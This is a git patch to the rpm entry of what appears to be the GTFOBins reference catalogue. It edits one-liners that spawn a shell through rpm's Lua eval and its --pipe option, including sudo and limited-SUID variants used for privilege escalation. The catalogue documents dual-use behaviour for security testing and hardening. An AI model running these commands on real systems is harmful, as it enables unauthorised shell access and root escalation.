From 9800048833e6cc177b602579f48a7a6d4cb63a47 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Thu, 8 Apr 2021 07:56:49 +0200 Subject: [PATCH] Upgrade to shell --- _gtfobins/rpm.md | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/_gtfobins/rpm.md b/_gtfobins/rpm.md index 133fdb9..d1ae142 100644 --- a/_gtfobins/rpm.md +++ b/_gtfobins/rpm.md @@ -2,12 +2,9 @@ functions: shell: - code: rpm --eval '%{lua:os.execute("/bin/sh")}' - command: - - code: | - rpm --pipe '/bin/id > /tmp/result' - cat /tmp/result + - code: rpm --pipe '/bin/sh 0<&1' limited-suid: - - code: rpm --eval '%{lua:os.execute("/bin/sh")}' + - code: ./rpm --eval '%{lua:os.execute("/bin/sh")}' sudo: - code: sudo rpm --eval '%{lua:os.execute("/bin/sh")}' - description: |